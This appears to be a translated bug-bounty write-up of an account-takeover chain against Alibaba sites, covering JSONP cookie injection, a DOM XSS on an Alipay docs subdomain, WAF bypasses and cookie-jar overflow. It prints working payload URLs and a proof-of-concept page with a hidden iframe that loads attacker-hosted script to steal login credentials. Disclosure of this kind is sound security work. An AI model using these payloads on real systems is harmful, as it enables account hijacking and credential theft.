前言
这篇文章是关于一些客户端的漏洞导致了阿里巴巴在多个网站上的账户被接管。
阿里巴巴是http://hackerone.com的公开SRC计划,范围很广。我应该补充一下,这个计划不值得花时间。延迟的响应、分类、修复等是原因。
让我们开始
它是TL; DR ,不过并没有其他选择。我将介绍一些必要条件,例如JSONP,一些浏览器处理cookies的行为等等
攻击
大多数阿里巴巴的网站加载并执行外部的javascript对象,javascript代码从名为uid的cookie中获取一个值。更多调查表明,攻击者可以代表受害者将uid值的值更改为恶意负载,从而导致帐户被接管。
漏洞发现的简要步骤如下:
- 找到一个url(ynuf.alipay.com),返回在阿里巴巴很多网站上执行的javascript代码。
- 实现了上面提到的URL,并反映了cookie在javascript代码中的值。
- 搜索* .alipay.com以查找XSS来控制cookie值。
- 在子域中找到一个潜在的基于DOM的XSS。
- 控制入口点,以绕过两次WAF。
- 使用一种不常见的技术来重写cookie的值。
- 在其他子域名网站上执行JavaScript代码,例如login.alibaba.com
- 写了一个漏洞利用代码来接管alibaba.com上的任何帐户
- 几乎在最新版本的谷歌浏览器和Firefox浏览器都对其进行了最终版本的测试。并在文末附上示范POC,请查找
一步一步演练
在本报告的其余部分中,已经编写了漏洞的确切详细信息,希望安全团队发现它很有用。
什么是JSONP?
JSONP是一种发送JSON数据的方法。
- 可以加载外部JavaScript对象
- 不使用XMLHttpRequest对象
- 不太安全
- 绕过浏览器中的SOP
易受攻击的外部JavaScript对象
如图所示,阿里巴巴的许多网站从以下网址加载外部JavaScript对象:
这是一个简单的代码。仔细观察发现5CB143654B94F4A5是从之前在ynuf.alipay.com域中设置的uid cookie中提取的。如果用户没有cookie,则服务器会在响应中设置一个对应的值,否则会获取它的值。工作流程如图所示:
jsonp在阿里巴巴的两个域中调用
发现有问题的请求顺序,第一次请求/响应:
GET /uid HTTP/1.1 Host: ynuf.alipay.com User-Agent: curl/7.47.0 Accept: */* HTTP/1.1 200 OK Date: Wed, 17 Oct 2018 17:38:10 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding ETag: d181bf00669d40c0 Set-Cookie: uid=d181bf00669d40c0; expires=Thu, 30 Jan 2031 08:00:00 GMT Cache-Control: max-age=315360000, private Server: Tengine/Aserver Strict-Transport-Security: max-age=0 Timing-Allow-Origin: * um.__idcb("26fadf90bac907a7")
第二次请求/响应
GET /uid HTTP/1.1 Host: ynuf.alipay.com User-Agent: curl/7.47.0 Cookie: uid=d181bf00669d40c0 Accept: */* HTTP/1.1 200 OK Date: Sun, 11 Nov 2018 08:47:40 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding ETag: test Cache-Control: max-age=315360000, private Server: Tengine/Aserver Strict-Transport-Security: max-age=0 Timing-Allow-Origin: * um.__idcb("d181bf00669d40c0")
第三次请求/响应:
GET /uid HTTP/1.1 Host: ynuf.alipay.com User-Agent: curl/7.47.0 Cookie: uid=")+alert("Injected Accept: */* HTTP/1.1 200 OK Date: Sun, 11 Nov 2018 08:47:40 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding ETag: test Cache-Control: max-age=315360000, private Server: Tengine/Aserver Strict-Transport-Security: max-age=0 Timing-Allow-Origin: * um.__idcb("")+alert("Injected")
由于没有对cookie值进行转义函数,因此可以注入恶意代码。什么样的漏洞导致控制cookie?
ynuf.alipay.com中的跨站点脚本
花费了一些时间在ynuf.alipay.com上找到了导致XSS失败原因。因为这个网站的功能很小。
Cookie中的重要说明
乍一看,需要ynuf.alipay.com中的XSS来更改cookie的值。根据RFC6265,a.b.com可以设置一个具有域属性.b.com和a.b.com的cookie,其中浏览器会自动将具有.b.com属性的cookie发送到b.com子域。
因此,通过x.y.alipay.com域,可以设置具有.alipay.com和.y.alipay.com属性的cookie。浏览器将cookie用于所有.alipay.com子域。那么?只有*.alipay.com中的一个小xss会触发这个链。有效载荷可能如下
uid=")+alert("xss;domain=.alipay.com
在*.alipay.com中发现XSS
通过信息收集发现了doc.open.alipay.com。访问下面的URL将重定用户
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo
仔细观察URL,发现javascript处理的是重定向而不是3xx头文件。查看代码还发现,可以通过向查询字符串添加ArticleID参数来停止重定向
触发XSS的第一个简单测试是用双引号来进行绕过
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo">&articleId=bar
结果:
正在应用服务器端功能
是否有机会得到XSS?
JavaScript的魔力
在开始之前,我注意到jQuery中的一个难问题。
难问题的点
如果jquery通过.val()从表单中获取HTML编码值,则返回对应的HTML解码值
<input id="input" value="&"" />
jQuery:
$('#input').val() // return &"
回到查找漏洞的过程中,仔细查看发现,显示关键字值的页面部分(在doc.open.alipay.com中)是由javascript完成的,花了很大的精力来查找构建该部分的javascript代码:
function h(b, e) { url = d.one(".J_ajaxUrl").val(); var f = "keyword=" + (d.one(".J_Tagword") ? d.one(".J_Tagword").val() : d.one(".J_SearchKeyword").val()) + "&searchType=" + e; url.indexOf("?") > 0 ? url += "&" : url += "?", c({ url: url + f + "¤t=" + b, type: "post", dataType: "json", data: {}, success: function(b) { if (200 == b.code) { var c = b.data; c.typeTotals; if (c.count > 0) { var g = []; c.results.length > 0 ? (a.each(c.results, function(a) { "0" == e ? g.push("<li>", '<h2><a href="' + a.link + '" target="_blank">' + a.title + "</a></h2>", '<div class="desc">' + a.content + "</div>", '<span class="time" style="margin-right: 10px">' + a.typeName + "</span>", '<span class="time">更新时间: ' + a.gmtModifiedStr + "</span>", "</li>") : g.push("<li>", '<h2><a href="' + a.link + '" target="_blank">' + a.title + "</a></h2>", '<div class="desc">' + a.content + "</div>", '<span class="time">更新时间: ' + a.gmtModifiedStr + "</span>", "</li>") }), d.all("ul", ".J_SearchList").html(g.join(""))) : d.all("ul", ".J_SearchList").html('<p style="margin-top:50px;font-size: 16px;">该类目下没有符合条件的搜索结果</p>'), a.each(d.all(".J_typeTotal"), function(a, b) { var e = d.all(a); e.parent(); 0 == b ? e.text(c.count) : e.text(c[l[b] + "Count"]) }), 0 == e ? k.changeTotalPage(Math.ceil(c.count / c.size)) : k.changeTotalPage(Math.ceil(c[l[e] + "Count"] / c.size)), k.setCurrentPage(c.current), d.all(window).scrollTop(0) } else d.all("li", ".J_typeList").show(), d.all(".J_typeTotal").text(0), k.changeTotalPage(1), d.one("#platformId") && "1" == d.one("#platformId").val() ? d.all("ul", ".J_SearchList").html('<p style="margin-top:50px;font-size: 16px;">没有符合条件的搜索结果</p>') : d.all("ul", ".J_SearchList").html('<p style="margin-top:50px;font-size: 16px;">没有符合条件的搜索结果</p><p style="margin-top:10px;color: #0089cd;"><a target="_blank" href="https://open.taobao.com/doc2/docSearch?' + f + '">搜索淘宝开放平台 --\x3e</a></p>') } } }) }
它是链接中最重要的javascript代码。服务器以正确编码输入j_searchkeywork中的参数关键字。但是,考虑到第3行,d.one(“.j_searchkeyword”).val()返回以下面几行插入到页面的HTML解码值,目标是注入XSS有效负载,即使是以HTML编码格式,它也不是一个常用的基于DOM的XSS攻击向量,但是:
发送最简单的XSS有效负载。然而,服务器端的清理恶意数据流很烦人。数据处理流如下:
绕过服务器端清理
产生XSS的第一步是添加一个新的HTML标记。不过,服务器正在对关键字参数传递的标记应用某种规则。
fuzz测试:
结果显示其以下规则和条件:
1.删除属性并关闭有效HTML的标记,<a href>
转换成
<a></a>
2.无效的标记被递归地被完全删除 <bl ah>或<bl<bl ah>ah>变为无。
更多模糊测试:
1.如果输入未被识别为有效的html编码值 – > html_encode(value)
2.如果输入被识别为有效的HTML编码值 – > 返回值
这个小问题是导致一个很大的漏洞。其神器的输入是 :
uid=")+alert("xss;domain=.alipay.co
然后,输入XSS有效负载:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=">%26gt;script%26lt;
其导致:
绕过WAF
利用服务器端清理功能的第二条规则删除无效的HTML标记)可以成功绕过WAF。
数据流:
但事实并非如此。因为JavaScript发出了另一个Ajax请求。考虑到gist代码的第10行,前面提到的javascript库依赖于Ajax请求。请求是:
https://doc.open.alipay.com/doc2/search.htm?platformId&keyword="><script>&searchType=0¤t=1
当检测到有效载荷时,WAF阻止了第二个请求(毫无疑问,任何WAF都应该阻止"><script>
)。错误的提升信息是根据库规则,只有200
状态代码将导致显示有效负载的响应显示(gist代码中的第11行):
if (200 == b.code) {
因此,在两个请求中同时需要一个有效负载来绕过WAF
这里需要更多的模糊测试。测试了几种载体。之后,发现了ontoggle有效载荷:
<details/open/ontoggle=JS>
这绕过了AJAX请求中的WAF
所以最后的有效载荷是:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=">%26gt;details%2fopen%2fontoggle=%26lt;
导致发送第二个Ajax请求:
https://doc.open.alipay.com/doc2/search.htm?platformId&keyword="><details/open/ontoggle=>&searchType=0¤t=1
这两种都可以从WAF绕过。答对了!
场景:
- 构建恶意HTML网页
- 诱骗用户来访问我们制作的恶意网页
- 设置恶意cookie
- 在阿里巴巴的许多子域中注入了javascript
- 获取证书
漏洞利用问题:
由于ynuf.alipay.com将其域的cookie设置为uid名称,因此无法从其他域覆盖该cookie。添加另一个与.alipay.com属性同名的cookie也不能解决这个问题,因为如果一个域存在两个名为xxx的cookie,则默认行为是浏览器将旧cookie放在HTTP请求的前面,这样服务器就可以获取第一个cookie
覆盖Cookie
测试显示浏览器在每个域中保存的cookie数量有限。例如,Google Chrome为一个域节省了不到150个cookie,而Firefox则节省了大约200个。更多细节:
http://browsercookielimits.squawky.net/
因此,有效载荷很简单:
for(var i=0;i<1000;i++){ document.cookie=i+'=1;domain=.alipay.com' } document.cookie='uid=foo;domain=.alipay.com;path=/'
因此攻击向量uid
通过添加许多垃圾cookie 来消除旧cookie,添加uid
由恶意负载填充的新cookie。
告警有效载荷
由于WAF阻断了")+alert("xss
,因此等效值被替换为绕过WAF的编码值:
document.cookie='uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/'
所有的组合在一起
最终的有效载荷比预期的要简单:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/%27%22%3E
访问上面的URL会在cookie中注入恶意JavaScript代码,该代码在阿里巴巴公司的多个域中执行,例如:
https://login.alibaba.com/
https://passport.alibaba.com/mini_login.htm?appName=hrjob
https://accounts.alibaba.com/register/cnfm_reg.htm
https://login.taobao.com/member/login.jhtml
https://reg.taobao.com/member/reg/fill_mobile.htm
https://login.aliexpress.com/
http://tp.amap.com/
http://id.amap.com/
https://passport.alibaba-inc.com/ssoLogin.htm?APP_NAME=iworkmanage
https://ipp.alibabagroup.com/login.htm
https://mp.dayu.com/
https://passport.umeng.com/login
https://passport.damai.cn/loginEn
显然,有更多的网站受到影响
最后的攻击
最终目标是在阿里巴巴的网站上进行账户接管。这种情况是诱骗用户点击一个链接,然后如果用户下次登录,该帐户将被泄露。触发漏洞的链接源:
<html>
<center>
<img src='https://pbs.twimg.com/profile_images/701729713392320512/PaYM_TF4_400x400.jpg'><img>
<iframe src="https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x28\x73\x63\x72\x69\x70\x74\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x27\x73\x63\x72\x69\x70\x74\x27\x29\x2c\x73\x63\x72\x69\x70\x74\x2e\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x78\x70\x6c\x2e\x6a\x73\x27\x2c\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x62\x6f\x64\x79\x2e\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64\x28\x73\x63\x72\x69\x70\x74\x29\x29\x2b\x28\x22;domain=.alipay.com;path=/%27%22%3E" style="width:0;height:0;border:0; border:none;"></iframe>
</html>
iframe-src使用以下负载而不是alert来注入恶意的javascript文件并动态加载:
"\")+(script=document.createElement('script'),script.src='https://myserver/xpl.js',document.body.appendChild(script))+(\""
显然,有效负载位于https://myserver/xpl.js中:
最终,当用户访问攻击者的链接并登录到https://login.alibaba.com/后,凭证将被窃取并保存在https://myserver/xxx alibaba/data.txt中:
{"u":"[email protected]","p":"password"}
帐户接管完成
演示